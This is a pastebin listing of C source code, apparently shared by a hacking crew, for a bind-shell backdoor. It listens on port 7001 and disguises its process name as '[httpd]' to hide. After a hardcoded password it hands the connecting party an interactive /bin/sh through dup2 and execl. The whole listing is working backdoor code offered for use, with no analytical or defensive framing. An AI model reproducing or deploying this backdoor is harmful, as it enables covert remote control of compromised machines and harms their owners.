NoPaste Service
DOWNLOAD
Language: C
Author: Matrix86
Description: BindShell
Date: 03/02/08 13:29
  1. /**************************************************************************
  2.     This program is free software; you can redistribute it and/or modify
  3.     it under the terms of the GNU General Public License as published by
  4.     the Free Software Foundation; either version 3 of the License, or
  5.     (at your option) any later version.
  6.  
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.  
  12.     You should have received a copy of the GNU General Public License
  13.     along with this program.  If not, see <http://www.gnu.org/licenses/>.
  14.  
  15.    Coded By Matrix86 ----> matrix86 {AT} tuxmealux {DOT} net
  16. ****************************************************************************/
  17.  
  18. #include <sys/types.h>
  19. #include <unistd.h>
  20. #include <arpa/inet.h>
  21. #include <sys/socket.h>
  22. #include <stdio.h>
  23. #include <time.h>
  24. #include <errno.h>
  25. #include <signal.h>
  26. #include <string.h>
  27. #include <unistd.h>
  28. #include <sys/types.h>
  29. #include <sys/wait.h>
  30.  
  31. #define PORT 7001
  32. #define N_BUF 2048
  33. #define BACKLOG 10
  34. #define PASS "matrix86"
  35.  
  36.  
  37. void mypipe(int con);
  38. //Funzione per dare il colpo finale ai processi figli...in modo da non creare processi zombie!
  39. void HandSigCHLD(int sig)
  40. {
  41.   int status;
  42.   pid_t wpid;
  43.   wpid = waitpid(WAIT_ANY, &status, WNOHANG);
  44. //if (wpid > 0) printf("BG child %d terminated with status %x\n", wpid, status);
  45.   return;
  46. }
  47.  
  48.  
  49. int main(int argc,char *argv[]){
  50.  
  51.   struct sockaddr_in server;
  52.   int sock,conn,nw;
  53.   pid_t pid;
  54.   char init[] =  "**********************************************\n*              RBT-4 CREW                    *\n**********************************************\n* BindShell coded by Matrix86 for Rbt-4 Crew *\n* Thx to Black_Student,r080cy90r and         *\n* all my friends.                            *\n* Special Thx to my girlfriend ;)            *\n*                                            *\n**********************************************\n\nDigit \"exit\" to close connection. Good fun ;)\n\n";
  55.  
  56. // Per nascondere il programma tra i processi...
  57.   strcpy(argv[0],"[httpd]");
  58.  
  59.   signal(SIGCHLD, HandSigCHLD);
  60.   signal(SIGHUP, SIG_IGN);
  61.  
  62.   sock = socket(AF_INET, SOCK_STREAM, 0);
  63.   if(sock < 0){
  64. //  perror("Errore durante la creazione del socket: ");
  65.     _exit(1);
  66.     }
  67.  
  68.   memset((void *)&server,0,sizeof(server));
  69.   server.sin_family = AF_INET;
  70.   server.sin_port = htons(PORT);
  71.   server.sin_addr.s_addr = htonl(INADDR_ANY);
  72.  
  73.   if(bind(sock, (struct sockaddr *)&server, sizeof(server)) < 0){
  74. //  perror("Errore Bind: ");
  75.     _exit(1);
  76.     }
  77.  
  78.   if (listen(sock, BACKLOG) < 0 ) {
  79. //  perror("Errore Listen: ");
  80.     _exit(1);
  81.     }
  82.  
  83.   while(1){
  84.  
  85.     while(((conn = accept(sock, (struct sockaddr *) NULL, NULL)) < 0) && (errno == EINTR));
  86.     if (conn < 0) {
  87. //    perror("Errore accept: ");
  88.       _exit(1);
  89.     }
  90.  
  91. // Creo un processo figlio...in modo da gestire più connessioni contemporaneamente.
  92.     if ((pid=fork()) < 0){
  93. //    perror("Errore fork() :");
  94.       _exit(1);
  95.     }
  96.  
  97.     if(pid == 0){
  98. // Siamo nel processo figlio.
  99.       close(sock);
  100.       if((nw = write(conn,init,strlen(init))) == 0) _exit(1);
  101.       mypipe(conn);
  102.       close(conn);
  103.       _exit(0);
  104.     }
  105.     else {
  106.       close(conn);
  107.     }
  108.  
  109.   }
  110.   fprintf(stdout,"Uscita");
  111.   return 0;
  112. }
  113.  
  114. void mypipe(int con){
  115.   char buffer[N_BUF+1];
  116.   int nw,nr;
  117.   if((nw = write(con,"Password: ",10)) == 0) _exit(1);
  118.   nr = read(con,buffer,N_BUF);
  119.   buffer[nr-2] = 0;
  120. // Controlla la password...
  121.   if(strcmp(buffer, PASS) != 0) return;
  122.  
  123.   if((nw = write(con,"\n\nsh> ",6)) == 0) _exit(1);
  124.   dup2(con,0);
  125.   dup2(con,1);
  126.   dup2(con,2);
  127.   execl("/bin/sh","sh",(char *)0);
  128.  
  129.   return;
  130. }
  131.